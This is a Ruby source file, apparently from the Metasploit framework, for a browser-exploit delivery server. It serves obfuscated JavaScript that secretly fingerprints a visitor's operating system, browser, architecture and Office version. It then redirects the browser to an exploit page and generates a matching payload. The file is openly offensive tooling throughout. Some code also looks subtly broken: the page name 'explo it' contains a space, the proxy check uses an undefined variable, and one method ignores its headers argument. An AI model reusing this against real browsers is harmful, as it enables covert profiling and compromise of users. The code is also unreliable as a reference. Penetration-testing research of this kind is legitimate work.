Files
metasploit-gs/lib/msf/core/exploit/browser/server.rb
T
2013-11-04 12:54:41 -06:00

420 lines
12 KiB
Ruby

# -*- coding: binary -*-
require 'erb'
require 'rex/exploitation/js'
###
#
# The BrowserExploitServer mixin provides methods to acheive common tasks seen in modern browser
# exploitation, and is designed to work against common setups such as on Windows, OSX, and Linux.
#
###
module Msf
module Exploit::Remote::BrowserExploitServer
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::RopDb
def initialize(info={})
super
# Profile structure:
# {
# 'cookie' =>
# {
# :os_name => 'Windows',
# :os_flavor => 'something'
# ...... etc ......
# }
# }
# A profile should at least have info about the following:
# tag : Hash key. This is either an actual cookie, or a MD5 hash of target IP + user-agent
# :source : The data source. Either from 'script', or 'headers'. The 'script' source
# should be more accureate in some scenarios like browser compatibility mode
# :ua_name : The name of the browser
# :ua_ver : The version of the browser
# :os_name : The name of the OS
# :language: The system's language
# :arch : The system's arch
# :proxy : Indicates whether proxy is used
#
# For more info about what the actual value might be for each key, see HttpServer.
#
# If the source is 'script', the profile might have even more information about plugins:
# 'office' : The version of Microsoft Office (IE only)
@target_profiles = []
# Requirements are conditions that the browser must have in order to be exploited.
# They must be defined by the module, and the mixin should check them before the
# exploit is actually deployed.
@requirements = {}
@info_receiver_page = "info"
@exploit_receiver_page = "explo it"
@noscript_receiver_page = "noscript"
register_options(
[
OptBool.new('Retries', [false, "Allow the browser to retry the module", true])
], Exploit::Remote::BrowserExploitServer)
end
#
# Removes the trailing slash for get_resource
#
def get_resource
super.chomp("/")
end
#
# Syncs a block of code
#
# @param block [Proc] Block of code to sync
#
def sync(&block)
(@mutex ||= Mutex.new).synchronize(&block)
end
#
# Returns the resource (URI) to the module to allow access to on_request_exploit
#
# @return [String] URI to the exploit page
#
def get_module_resource
"#{get_resource}/#{@exploit_receiver_page}"
end
#
# Defines requirements by the module. Main keys are the same as the ones in @target_profiles.
#
# @param reqs [Hash]
# @option reqs :source The data source. Either 'script' or 'headers'
# @option reqs :ua_name The name of the browser
# @option reqs :ua_ver The version of the browser
# @option reqs :os_name The name of the operating system
# @option reqs :language The language of the system
# @option reqs :arch The architecture
# @option reqs :prxy Indicates whether a proxy is used or not by the browser
#
def requirements(reqs={})
@requirements = reqs
end
#
# Returns an array of items that do not meet the requirements
#
# @param target_profile [Hash] The profile to check
# @return [Array] An array of requirements not met
#
def get_bad_requirements(target_profile)
profile = target_profile[target_profile.first[0]]
bad_reqs = []
@requirements.each do |k, v|
if v.class == Regexp
bad_reqs << k if profile[k] !~ v
else
bad_reqs << k if profile[k] != v
end
end
bad_reqs
end
#
# Returns the target profile based on the tag
#
# @param tag [String] Either a cookie or IP + User-Agent
# @return [Hash] The profile found. If not found, returns nil
#
def get_profile(tag)
sync do
@target_profiles.each do |profile|
return profile if profile[tag]
end
end
nil
end
#
# Updates information for a specific profile
#
# @param target_profile [Hash] The profile to update
# @param key [Symbol] The symbol to use for the hash
# @param value [String] The value to assign
#
def update_profile(target_profile, key, value)
sync do
target_profile[target_profile.first[0]][key] = value
end
end
#
# Initializes a profile
#
# @param tag [String] A unique string as a way to ID the profile
#
def init_profile(tag)
sync do
@target_profiles << {tag => {}}
end
end
#
# Retrieves a tag.
# First it obtains the tag from the browser's "Cookie" header.
# If the header is empty (possible if the browser has cookies disabled),
# then it will return a tag based on IP + the user-agent.
#
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
#
def retreive_tag(request)
tag = request.headers['Cookie'].to_s
if tag.blank?
# Browser probably doesn't allow cookies, plan B :-/
ip = cli.peerhost
os = request.headers['User-Agent']
tag = Rex::Text.md5("#{ip}#{os}")
end
tag
end
#
# Registers target information to @target_profiles
#
# @param source [Symbol] Either :script, or :headers
# @param cli [Socket] Socket for the browser
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
#
def process_browser_info(source, cli, request)
tag = retreive_tag(request)
# Browser doesn't allow cookies. Can't track that, use a different way to track.
init_profile(tag) if request.headers['Cookie'].blank?
target_profile = get_profile(tag)
# Gathering target info from the detection stage
case source
when :script
# Gathers target data from a POST request
update_profile(target_profile, :source, 'script')
raw = Rex::Text.decode_base64(Rex::Text.uri_decode(request.body))
raw.split('&').each do |item|
k, v = item.scan(/(\w+)=(.*)/).flatten
update_profile(target_profile, k.to_sym, v)
end
when :headers
# Gathers target data from headers
# This may be less accureate, and most likely less info.
fp = fingerprint_user_agent(request.headers['User-Agent'])
# Module has all the info it needs, ua_string is kind of pointless.
# Kill this to save space.
fp.delete(:ua_string)
update_profile(target_profile, :source, 'headers')
fp.each do |k, v|
update_profile(target_profile, k.to_sym, v)
end
end
# Other detections
update_profile(target_profile, :proxy, has_proxy?(request))
update_profile(target_profile, :language, request.headers['Accept-Language'] || '')
report_client({
:host => cli.peerhost,
:ua_string => request.headers['User-Agent'],
:ua_name => target_profile[tag]['ua_name'],
:ua_ver => target_profile[tag]['ua_ver']
})
end
#
# Checks if the target is running a proxy
#
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
# @return [Boolean] True if found, otherwise false
#
def has_proxy?(request)
%w{
HTTP_VIA
HTTP_X_FORWARDED_FOR
HTTP_FORWARDED_FOR
HTTP_X_FORWARDED
HTTP_FORWARDED
HTTP_CLIENT_IP
HTTP_FORWARDED_FOR_IP
VIA
X_FORWARDED_FOR
FORWARDED_FOR
X_FORWARDED
FORWARDED
CLIENT_IP
FORWARDED_FOR_IP
HTTP_PROXY_CONNECTION
}.include?(request.headers[name])
end
#
# Returns the code for client-side detection
#
# @param [String] Returns the HTML for detection
#
def get_detection_html
js = ::Rex::Exploitation::JSObfu.new %Q|
#{js_base64}
#{js_os_detect}
#{js_addons_detect}
#{js_ajax_post}
function objToQuery(obj) {
var q = [];
for (var key in obj) {
q.push(key + '=' + obj[key]);
}
return escape(Base64.encode(q.join('&')));
}
window.onload = function() {
var osInfo = window.os_detect.getVersion();
var d = {
"os_name" : osInfo.os_name,
"os_flavor" : osInfo.os_flavor,
"ua_name" : osInfo.ua_name,
"ua_ver" : osInfo.ua_version,
"arch" : osInfo.arch,
"office" : window.addons_detect.getMsOfficeVersion()
};
var query = objToQuery(d);
postInfo("#{get_resource}/#{@info_receiver_page}/", query);
window.location = "#{get_resource}/#{@exploit_receiver_page}/";
}
|
js.obfuscate
%Q|
<script>
#{js}
</script>
<noscript>
<img style="visibility:hidden" src="#{get_resource}/#{@noscript_receiver_page}/">
<meta http-equiv="refresh" content="1; url=#{get_resource}/#{@exploit_receiver_page}/">
</noscript>
|
end
#
# Handles exploit stages.
#
# @param cli [Socket] Socket for the browser
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
#
def on_request_uri(cli, request)
case request.uri
when /^#{get_resource}$/
#
# This is the information gathering stage
#
if get_profile(retreive_tag(request))
send_redirect(cli, "#{get_resource}/#{@exploit_receiver_page}")
return
end
print_status("Gathering target information.")
tag = Rex::Text.rand_text_alpha(rand(20) + 5)
init_profile(tag)
html = get_detection_html
send_response(cli, html, {'Set-Cookie' => tag})
when /#{@info_receiver_page}/
#
# The detection code will hit this if Javascript is enabled
#
process_browser_info(source=:script, cli, request)
send_response(cli, '')
when /#{@noscript_receiver_page}/
#
# The detection code will hit this instead of Javascript is disabled
# Should only be triggered by the img src in <noscript>
#
process_browser_info(source=:headers, cli, request)
send_not_found(cli)
when /#{@exploit_receiver_page}/
#
# This sends the actual exploit. A module should define its own
# on_request_exploit() to get the target information
#
tag = retreive_tag(request)
profile = get_profile(tag)
if profile[tag][:tried] and datastore['Retries'] == false
print_status("Target with tag \"#{tag}\" wants to retry the module, not allowed.")
send_not_found(cli)
else
update_profile(profile, :tried, true)
bad_reqs = get_bad_requirements(profile)
if bad_reqs.empty?
method(:on_request_exploit).call(cli, request, profile)
else
print_warning("Exploit requirement(s) not met: #{bad_reqs * ', '}")
send_not_found(cli)
end
end
else
send_not_found(cli)
end
end
#
# Overriding method. The module should override this.
#
# @param cli [Socket] Socket for the browser
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
# @param browser_info [Hash] The target profile
#
def on_request_exploit(cli, request, browser_info)
end
#
# Converts an ERB-based exploit template into HTML, and sends to client
#
# @param cli [Socket] Socket for the browser
# @param template [String] HTML
# @param headers [Hash] The custom HTTP headers to include in the response
#
def send_exploit_html(cli, template, headers={})
html = ERB.new(template).result
send_response(cli, html)
end
#
# Generates a target-specific payload, should be called by the module
#
# @param cli [Socket] Socket for the browser
# @param browser_info [Hash] The target profile
# @return [String] The payload
#
def get_payload(cli, browser_info)
tag = browser_info.first[0]
arch = browser_info[tag][:arch]
platform = browser_info[tag][:os_name]
# Fix names for consisntecy so our API can find the right one
# Originally defined in lib/msf/core/constants.rb
platform = platform.gsub(/^Mac OS X$/, 'OSX')
platform = platform.gsub(/^Microsoft Windows$/, 'Windows')
regenerate_payload(cli, platform, arch).encoded
end
end
end